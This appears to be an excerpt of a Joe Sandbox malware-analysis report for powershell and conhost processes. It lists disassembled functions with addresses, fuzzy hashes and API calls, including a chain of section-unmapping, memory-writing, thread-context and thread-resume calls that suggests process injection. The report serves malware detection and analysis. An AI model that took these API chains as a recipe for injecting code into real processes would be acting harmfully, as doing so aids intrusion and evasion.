Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtWriteVirtualMemory.NTDLL ref: 00007FFD34680D37

Memory Dump Source

Source File: 0000001D.00000002.2260307649.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd34670000_powershell.jbxd

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: dfa0f861bf1b0ea4a12715f0b9a2ce26a12fa36607aab4f61ca9496cb325c9c6
Instruction ID: a91e9006856233f8efbbdb80e970b2554b6c778cf5206ea43512bc915f139a32
Opcode Fuzzy Hash: dfa0f861bf1b0ea4a12715f0b9a2ce26a12fa36607aab4f61ca9496cb325c9c6
Instruction Fuzzy Hash: 1B31A071A0CB1C9FDB58DF98D8856F9BBE0FB69311F00422ED04AD3652CB74A8068B85

Function 00007FFD34680A4E Relevance: 1.6, APIs: 1, Instructions: 118
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 00007FFD34680B0B

Memory Dump Source

Source File: 0000001D.00000002.2260307649.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd34670000_powershell.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 94722fea928e97a0844e204931684db1ad3c943f90feba322511e32f25836497
Instruction ID: 6082548e50ffa38c5b4cac0da0f85d52ef39a61530c004b2d99118c84910319f
Opcode Fuzzy Hash: 94722fea928e97a0844e204931684db1ad3c943f90feba322511e32f25836497
Instruction Fuzzy Hash: C431073090C7888FDB5ADFA8C8967E97FE0EF67320F04429BD049C71A3D664A445CB91

Function 00007FFD3467E098 Relevance: 1.6, APIs: 1, Instructions: 117
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 00007FFD34680B0B

Memory Dump Source

Source File: 0000001D.00000002.2260307649.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd34670000_powershell.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 3c65de9aa035ee31f62e58bfd0d063e6e746999df4ac0fdd62bcbf51f4f8653f
Instruction ID: bd3fc71ebc2c4dca19603fcf531076dec41693e71d685d9419a3cb52e97348e7
Opcode Fuzzy Hash: 3c65de9aa035ee31f62e58bfd0d063e6e746999df4ac0fdd62bcbf51f4f8653f
Instruction Fuzzy Hash: 79313671A0CB488FEB58DF98C8897E97BF0EBA6320F04416FD049D3553DA64A849C751

Function 00007FFD34680FF4 Relevance: 1.6, APIs: 1, Instructions: 115
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtResumeThread.NTDLL ref: 00007FFD346810A5

Memory Dump Source

Source File: 0000001D.00000002.2260307649.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd34670000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: f1e97f7b45ef034c09f85d038cbe2fb3b6e699864bdc73d67839a15690050046
Instruction ID: 79674d755005100ed7b89c85c1e6651f54cace71cce5ca45edfa3ede9483b2e0
Opcode Fuzzy Hash: f1e97f7b45ef034c09f85d038cbe2fb3b6e699864bdc73d67839a15690050046
Instruction Fuzzy Hash: 5A31F431A0C65C8FDB59DF98D8467EABBE1EF5A320F04416BD049D3252DB74A806CB91

Function 00007FFD3467E0B8 Relevance: 1.6, APIs: 1, Instructions: 102
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 00007FFD34680B0B

Memory Dump Source

Source File: 0000001D.00000002.2260307649.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd34670000_powershell.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: af61034d8793201e925e78473d94bd07670baab1a45d0e7138afb5ea27387d60
Instruction ID: 439afea5c3cd4cffa23e9a96d8a4cb6576c3533a0a1a978e57600a3e654008f1
Opcode Fuzzy Hash: af61034d8793201e925e78473d94bd07670baab1a45d0e7138afb5ea27387d60
Instruction Fuzzy Hash: 8C21B671A0CA0C8FDB58DF98D8857F97BE0EB69320F04416FD04DD3252DA74A856CB51

Function 00007FFD34680F30 Relevance: 1.6, APIs: 1, Instructions: 98
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetContextThread.NTDLL ref: 00007FFD34680FBB

Memory Dump Source

Source File: 0000001D.00000002.2260307649.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd34670000_powershell.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: b488fa0ea644253638193194de9da4f46eeca20c1a2fcd1f54208149b990dfe2
Instruction ID: 8b1639de312b141d1ae4f1d926ad0f314f24c8e564699e54f3e0eec0f4166bc1
Opcode Fuzzy Hash: b488fa0ea644253638193194de9da4f46eeca20c1a2fcd1f54208149b990dfe2
Instruction Fuzzy Hash: 9B219131A0CA4C8FDB59DF98D84A7E97BF0EB66320F04416BD049D3252D674A846CB91

Function 00007FFD3467E12C Relevance: 1.6, APIs: 1, Instructions: 97
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtResumeThread.NTDLL ref: 00007FFD346810A5

Memory Dump Source

Source File: 0000001D.00000002.2260307649.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd34670000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 26ef37c90c8cb01699e229e827d36436f66690a8bcf36b582f72429c475cceae
Instruction ID: 0bdbaa6e1c92d6fb07f8ab5b7747a3125f60cca8a86ad08ec38160b4996c61bb
Opcode Fuzzy Hash: 26ef37c90c8cb01699e229e827d36436f66690a8bcf36b582f72429c475cceae
Instruction Fuzzy Hash: 6B219171A0CA1C8FDB58DF98D8457EABBF1EB59310F04416ED00DD3256DB70A842CB91

Function 00007FFD3467E11C Relevance: 1.6, APIs: 1, Instructions: 92nativethreadCOMMON

Download Yara Rule

APIs

NtSetContextThread.NTDLL ref: 00007FFD34680FBB

Memory Dump Source

Source File: 0000001D.00000002.2260307649.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd34670000_powershell.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 8268f9dd3394697c15827971b597fef8cd9b265da5664a4e1eee7bf8ea6abeb4
Instruction ID: d83033160141db32e38fff2f5496a5d5aea43bb1d381ed2e8410f0a0f5c1052f
Opcode Fuzzy Hash: 8268f9dd3394697c15827971b597fef8cd9b265da5664a4e1eee7bf8ea6abeb4
Instruction Fuzzy Hash: 19218130A0CA0C8FEB58DF98D84A7F97BF5EB69321F00416ED44DD3256DA70A846CB91

Function 00007FFD3467E10C Relevance: 1.6, APIs: 1, Instructions: 92nativethreadCOMMON

Download Yara Rule

APIs

NtSetContextThread.NTDLL ref: 00007FFD34680FBB

Memory Dump Source

Source File: 0000001D.00000002.2260307649.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd34670000_powershell.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 8268f9dd3394697c15827971b597fef8cd9b265da5664a4e1eee7bf8ea6abeb4
Instruction ID: d83033160141db32e38fff2f5496a5d5aea43bb1d381ed2e8410f0a0f5c1052f
Opcode Fuzzy Hash: 8268f9dd3394697c15827971b597fef8cd9b265da5664a4e1eee7bf8ea6abeb4
Instruction Fuzzy Hash: 19218130A0CA0C8FEB58DF98D84A7F97BF5EB69321F00416ED44DD3256DA70A846CB91

Function 00007FFD3467DD68 Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2260307649.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd34670000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 727da290f0eaa9720a594c95c0ed1ffdbec7479d6f173d0d99ba9183fcd1b28b
Instruction ID: 44603fa51e3cc90505afce4506104f76bec04ff21f21c4953cc7cfef4e82c71e
Opcode Fuzzy Hash: 727da290f0eaa9720a594c95c0ed1ffdbec7479d6f173d0d99ba9183fcd1b28b
Instruction Fuzzy Hash: D071F731B1CA1D4AF71CAB6898A62FD76D2EF99311F40853DE54FC31D3ED2CA8065282

Function 00007FFD3467E339 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2260307649.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd34670000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adc89536e25868ac0c62e61d4839ab039f0e4271579b5f7ccb32768caf8a1713
Instruction ID: daa52249d2ce6761a29ac41e71bb626b9cd5b2c10c6da441f40c22490ff0ccdc
Opcode Fuzzy Hash: adc89536e25868ac0c62e61d4839ab039f0e4271579b5f7ccb32768caf8a1713
Instruction Fuzzy Hash: EA610931B1C6194AF758AB3498A62FE7BD2EF8A311F41853ED54FC31D3ED2D68065242

Function 00007FFD347400DD Relevance: 2.9, Instructions: 2936COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2261622068.00007FFD34740000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd34740000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6f76aec40c957ede19468613ac3dd925785bb87d29c111804e66d3dc2132899
Instruction ID: 72c52c0610a9d17f0cbc7cedd23f7385a99f3b5cb2ed48a8059d6c44bdb8965b
Opcode Fuzzy Hash: e6f76aec40c957ede19468613ac3dd925785bb87d29c111804e66d3dc2132899
Instruction Fuzzy Hash: B2238271A1CB858FE775AB1888D5AB977E0EB99740F45057ED48CC7292CA38BC40CBC6

Function 00007FFD34680231 Relevance: 2.4, APIs: 1, Instructions: 888
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE ref: 00007FFD3468094D

Memory Dump Source

Source File: 0000001D.00000002.2260307649.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd34670000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: fdce7cf6695c8fd3f5a5ac8f9ff69565ee94eeb4f647df83f83037508749b148
Instruction ID: ba7af9be51e098f1b537000ea0d828c3cdeb953727e692ff57d243ee4f278270
Opcode Fuzzy Hash: fdce7cf6695c8fd3f5a5ac8f9ff69565ee94eeb4f647df83f83037508749b148
Instruction Fuzzy Hash: C4D1293061CB898FEB64DF2CD8967E977E0FF56310F15426AD84DC7292DE78A4418B82

Function 00007FFD3467EB0A Relevance: 1.7, APIs: 1, Instructions: 245
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingW.KERNELBASE ref: 00007FFD3467ECB6

Memory Dump Source

Source File: 0000001D.00000002.2260307649.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd34670000_powershell.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: f497ffdf0f86de950c09a3cb9d934e6279be5fde4c3dfd691e17301fdd2beea9
Instruction ID: 280e1d802278fc54fce4b4f59583f26435afea841cbc807e844bb1b361532d3c
Opcode Fuzzy Hash: f497ffdf0f86de950c09a3cb9d934e6279be5fde4c3dfd691e17301fdd2beea9
Instruction Fuzzy Hash: C871D43060CA8D4FEB59DF28CC557E87FE1FB56311F1442AEE84DC7292DA78A8458782

Function 00007FFD3467E8BC Relevance: 1.7, APIs: 1, Instructions: 225
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00007FFD3467EA49

Memory Dump Source

Source File: 0000001D.00000002.2260307649.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd34670000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a82449b2c06afc5a74c4cadd41e132ec68b7770a7a26d4fe5689049db411166d
Instruction ID: 56d42eb56d6f127592b756e9665b94783b6ed2d6125ad7c15c36fffe135a1463
Opcode Fuzzy Hash: a82449b2c06afc5a74c4cadd41e132ec68b7770a7a26d4fe5689049db411166d
Instruction Fuzzy Hash: C461C630A18A8D4FEB59EF28DC567E87BE0FB59310F10426AE84DC3252CB74A8458B81

Function 00007FFD3467ED76 Relevance: 1.6, APIs: 1, Instructions: 138
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MapViewOfFile.KERNELBASE ref: 00007FFD3467EE53

Memory Dump Source

Source File: 0000001D.00000002.2260307649.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd34670000_powershell.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: e8db06085cd19b74ed93f44c7b25c9b731eab1ecbf5207cb142fef4dca4c1b44
Instruction ID: 9e95ba9c726f2cead164e631aa6d2d19a88310fb43f0409161b34700ec947ed6
Opcode Fuzzy Hash: e8db06085cd19b74ed93f44c7b25c9b731eab1ecbf5207cb142fef4dca4c1b44
Instruction Fuzzy Hash: BA41463190CA888FEB19DB68DC556E97FF0FF5A321F04426FD089D3192DA686806CB91

Function 00007FFD3467E7B8 Relevance: 1.6, APIs: 1, Instructions: 131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

K32GetModuleInformation.KERNEL32 ref: 00007FFD3467E872

Memory Dump Source

Source File: 0000001D.00000002.2260307649.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd34670000_powershell.jbxd

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: b18ab001d6f2899aea705b8e13690e4485fa296fafd0e33c03925f5df509b8f7
Instruction ID: 6fda9890a67207b22ffb9dafef4c112cfcc98793aae7272500e414df01e61722
Opcode Fuzzy Hash: b18ab001d6f2899aea705b8e13690e4485fa296fafd0e33c03925f5df509b8f7
Instruction Fuzzy Hash: 1331F53190CA484FDB18DBA898496F97BE1EB66321F04426ED059D3292CB746856C781

Function 00007FFD348F6C70 Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

{'_H, xrefs: 00007FFD348F6CA4

Memory Dump Source

Source File: 0000001D.00000002.2267797197.00007FFD348F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd348f0000_powershell.jbxd

Similarity

API ID:
String ID: {'_H
API String ID: 0-3848020189
Opcode ID: 955b4a32ccf75d1e2fda24763104cd8187f944c528356ba49c58c52e3e7b36d3
Instruction ID: 89817110a18761867ece7545f97754e27521a4c457791ee4fb64a24cf4633f3f
Opcode Fuzzy Hash: 955b4a32ccf75d1e2fda24763104cd8187f944c528356ba49c58c52e3e7b36d3
Instruction Fuzzy Hash: 1621C933B0DA194FEBA09B5C74A55F9B3D1EF94310B1802B7D54ED32A6ED1DAC165380

Function 00007FFD348F6C91 Relevance: 1.3, Strings: 1, Instructions: 38COMMON

Download Yara Rule

Strings

{'_H, xrefs: 00007FFD348F6CA4

Memory Dump Source

Source File: 0000001D.00000002.2267797197.00007FFD348F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd348f0000_powershell.jbxd

Similarity

API ID:
String ID: {'_H
API String ID: 0-3848020189
Opcode ID: fca0290dc9a08500a356bae45b8028c6282ef4bd632763e1322945e9838a8fc9
Instruction ID: aeb1fc999197abb2ab9792bcc25436e47f37784355c45b868c409901daf1100c
Opcode Fuzzy Hash: fca0290dc9a08500a356bae45b8028c6282ef4bd632763e1322945e9838a8fc9
Instruction Fuzzy Hash: 38F0A723F0EA690BF7B19A5C34A51F563C1DF656207480276D69EE73A2EC0CAC164380

Function 00007FFD348F72D4 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2267797197.00007FFD348F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd348f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bed90e89ae41be27aa2ba1972725123a6fc2e5cd6430e3b4bcd6ecbdaf80258e
Instruction ID: 1b6fc63ad809fb9f294d9d1d03c8e8355b75c768dee61f558575435ac399503b
Opcode Fuzzy Hash: bed90e89ae41be27aa2ba1972725123a6fc2e5cd6430e3b4bcd6ecbdaf80258e
Instruction Fuzzy Hash: 2D31EA73B0DA495FEB94DB1C98951B877E1FFAA314714027FD48ED3252DA25EC028741

Non-executed Functions

Function 00007FFD3467C498 Relevance: 3.4, Strings: 2, Instructions: 935COMMON

Download Yara Rule

Strings

^, xrefs: 00007FFD3467C839
LR_L, xrefs: 00007FFD3467C5F4

Memory Dump Source

Source File: 0000001D.00000002.2260307649.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd34670000_powershell.jbxd

Similarity

API ID:
String ID: LR_L$^
API String ID: 0-475922714
Opcode ID: 47b722974e52d104bc799d4b38b81e339e90457ed558faeceefec1a0157f1496
Instruction ID: 73b209b35192f08b907b958d03c665e817f0f30ccbe14f1238c350b72f349372
Opcode Fuzzy Hash: 47b722974e52d104bc799d4b38b81e339e90457ed558faeceefec1a0157f1496
Instruction Fuzzy Hash: 53620331B0C79A4FEB55DF2CC8A55E97FE0EF96314F1441BAD189C7293DA28A842C781

Function 00007FFD346716FA Relevance: 1.4, Strings: 1, Instructions: 174COMMON

Download Yara Rule

Strings

-N_^, xrefs: 00007FFD34671701

Memory Dump Source

Source File: 0000001D.00000002.2260307649.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd34670000_powershell.jbxd

Similarity

API ID:
String ID: -N_^
API String ID: 0-3102225757
Opcode ID: d377ab8ec4feab91d8ece4c3522071b8ed6f0476df4e469f26bf21c888263ece
Instruction ID: 75e3337470f9f46f97dcddbbb309ff91e47e627bfff1e294a7f3cfab0cf269a7
Opcode Fuzzy Hash: d377ab8ec4feab91d8ece4c3522071b8ed6f0476df4e469f26bf21c888263ece
Instruction Fuzzy Hash: CE514256A0E7D61EE7235B785CB60EA7FA5DF53268B0940F7C2D4CE193ED0C2406A212

Function 00007FFD3467BFF2 Relevance: 1.4, Strings: 1, Instructions: 138COMMON

Download Yara Rule

Strings

^, xrefs: 00007FFD3467C0C9

Memory Dump Source

Source File: 0000001D.00000002.2260307649.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd34670000_powershell.jbxd

Similarity

API ID:
String ID: ^
API String ID: 0-1590793086
Opcode ID: 5abf550963b5798cf30258f1d295fb91103dc1f1da305662261fea64c5c85088
Instruction ID: a2b870feb85a31db4ad6a359aef2754d8169be729c4b80f705bceb62d04e0cde
Opcode Fuzzy Hash: 5abf550963b5798cf30258f1d295fb91103dc1f1da305662261fea64c5c85088
Instruction Fuzzy Hash: 1D417657A0E7E64BE7628E6C5CFA0E93FD0DF13718B0D40BACA84CB093ED0D64569645

Function 00007FFD34673E45 Relevance: .4, Instructions: 410COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2260307649.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd34670000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d69584a4d6211167082b4075d075cb6932da12dd17b2f1cf15c46c1841f71526
Instruction ID: 9011191b2194591203ccc773f44b687fcbb698fa873b75d11769762092a1c063
Opcode Fuzzy Hash: d69584a4d6211167082b4075d075cb6932da12dd17b2f1cf15c46c1841f71526
Instruction Fuzzy Hash: ADD1D431F08A598FDB85DF5CC8A5AED7FE1FF66310F04817AD449D7292DA28A881C781

Function 00007FFD3467C9FB Relevance: .4, Instructions: 352COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2260307649.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd34670000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 195113558649c57485cf447998ec7470fdf26c9f29f44bf3f0e1e67a92977364
Instruction ID: c0dc1fa3c66be6765f0b57ab8aaab0ae2f71b4de0d2e75f7ceb6fad88ad8d21b
Opcode Fuzzy Hash: 195113558649c57485cf447998ec7470fdf26c9f29f44bf3f0e1e67a92977364
Instruction Fuzzy Hash: 46C1C631A0CA5A4FDF95DF5CC8A5AE97FE1FFA6310F14417AD149D7292CA28E842C780

Function 00007FFD346736F1 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2260307649.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd34670000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e7236da04a8507d82c35f457b1f7fdbd07dfac3bdcca5cbb46649d0cf1b4de1
Instruction ID: c18fcee0c5a70373d4cb95818aeeb30e15ce58d51b0d8dd1ef090a992e2fda71
Opcode Fuzzy Hash: 8e7236da04a8507d82c35f457b1f7fdbd07dfac3bdcca5cbb46649d0cf1b4de1
Instruction Fuzzy Hash: D0719F5660E3E25FE3135B685CB51E63FA0DF93224B4A44FBC6C5CE0A3D90C144AD3A1

Function 00007FFD346716BF Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2260307649.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd34670000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f445f87037e5effe460e8a35645462844381adb5b597771e90438fb1c1a560bd
Instruction ID: 5716136a3bb2e497e67fecbb667adf3fb3576dca4eb615f25590be7e2dedbd5d
Opcode Fuzzy Hash: f445f87037e5effe460e8a35645462844381adb5b597771e90438fb1c1a560bd
Instruction Fuzzy Hash: 92516456A0D7D61EE7236B785CB60EA7FA5DF53268B0940F7C2D4CE193ED0C2447A212

Analysis Process: conhost.exePID: 2884, Parent PID: 3768COMMON

Execution Graph

Execution Coverage:	0.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.3%
Total number of Nodes:	1393
Total number of Limit Nodes:	1

Executed Functions

Function 000001D29E8C3620 Relevance: 4.5, APIs: 3, Instructions: 39
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001D29E8C3639
PathFindFileNameW.SHLWAPI ref: 000001D29E8C3648

Part of subcall function 000001D29E8C3C74: StrCmpNIW.SHLWAPI(?,?,?,000001D29E8C254B), ref: 000001D29E8C3C8C

Part of subcall function 000001D29E8C3BC0: GetModuleHandleW.KERNEL32(?,?,?,?,?,000001D29E8C365F), ref: 000001D29E8C3BCE
Part of subcall function 000001D29E8C3BC0: GetCurrentProcess.KERNEL32(?,?,?,?,?,000001D29E8C365F), ref: 000001D29E8C3BFC
Part of subcall function 000001D29E8C3BC0: VirtualProtectEx.KERNEL32(?,?,?,?,?,000001D29E8C365F), ref: 000001D29E8C3C1E
Part of subcall function 000001D29E8C3BC0: GetCurrentProcess.KERNEL32(?,?,?,?,?,000001D29E8C365F), ref: 000001D29E8C3C39
Part of subcall function 000001D29E8C3BC0: VirtualProtectEx.KERNEL32(?,?,?,?,?,000001D29E8C365F), ref: 000001D29E8C3C5A

CreateThread.KERNELBASE ref: 000001D29E8C368F

Part of subcall function 000001D29E8C1D40: GetCurrentThread.KERNEL32 ref: 000001D29E8C1D4B

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: f925565bd7d4be1ed18a10d933f5cc473e240d0c1127f16e8bee8d0f787d3ad7
Instruction ID: 1683000f9dc4dd73dd4d2b2071180caecfc822b5b41e0ca1ca8a1718047fff01
Opcode Fuzzy Hash: f925565bd7d4be1ed18a10d933f5cc473e240d0c1127f16e8bee8d0f787d3ad7
Instruction Fuzzy Hash: 8C11927061362582FB6CABE0A436BDE2390BB7630DF40416BD576412B7DF7CC04AAA00

Function 000001D29E892AC0 Relevance: 1.7, APIs: 1, Instructions: 240libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 000001D29E892C32

Memory Dump Source

Source File: 00000020.00000003.2254503024.000001D29E890000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D29E890000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_3_1d29e890000_conhost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8f72cda2533f8c81468787ed5508378e1f4737ebbed7a3ee8edbd934de0862d8
Instruction ID: 3c6c80d7e471872b52585788e7528b6a28de4e8c0383d2190911ffd9fcedb16e
Opcode Fuzzy Hash: 8f72cda2533f8c81468787ed5508378e1f4737ebbed7a3ee8edbd934de0862d8
Instruction Fuzzy Hash: 6D913772B0256087EB6CCF65E058BAD7391F778BACF548126DE3A07799DA38D812C740

Function 000001D29E8C1AC8 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001D29E8C1628: GetProcessHeap.KERNEL32 ref: 000001D29E8C1633
Part of subcall function 000001D29E8C1628: HeapAlloc.KERNEL32 ref: 000001D29E8C1642
Part of subcall function 000001D29E8C1628: RegOpenKeyExW.ADVAPI32 ref: 000001D29E8C16B2
Part of subcall function 000001D29E8C1628: RegOpenKeyExW.ADVAPI32 ref: 000001D29E8C16DF
Part of subcall function 000001D29E8C1628: RegCloseKey.ADVAPI32 ref: 000001D29E8C16F9
Part of subcall function 000001D29E8C1628: RegOpenKeyExW.ADVAPI32 ref: 000001D29E8C1719
Part of subcall function 000001D29E8C1628: RegCloseKey.ADVAPI32 ref: 000001D29E8C1734
Part of subcall function 000001D29E8C1628: RegOpenKeyExW.ADVAPI32 ref: 000001D29E8C1754
Part of subcall function 000001D29E8C1628: RegCloseKey.ADVAPI32 ref: 000001D29E8C176F
Part of subcall function 000001D29E8C1628: RegOpenKeyExW.ADVAPI32 ref: 000001D29E8C178F
Part of subcall function 000001D29E8C1628: RegCloseKey.ADVAPI32 ref: 000001D29E8C17AA
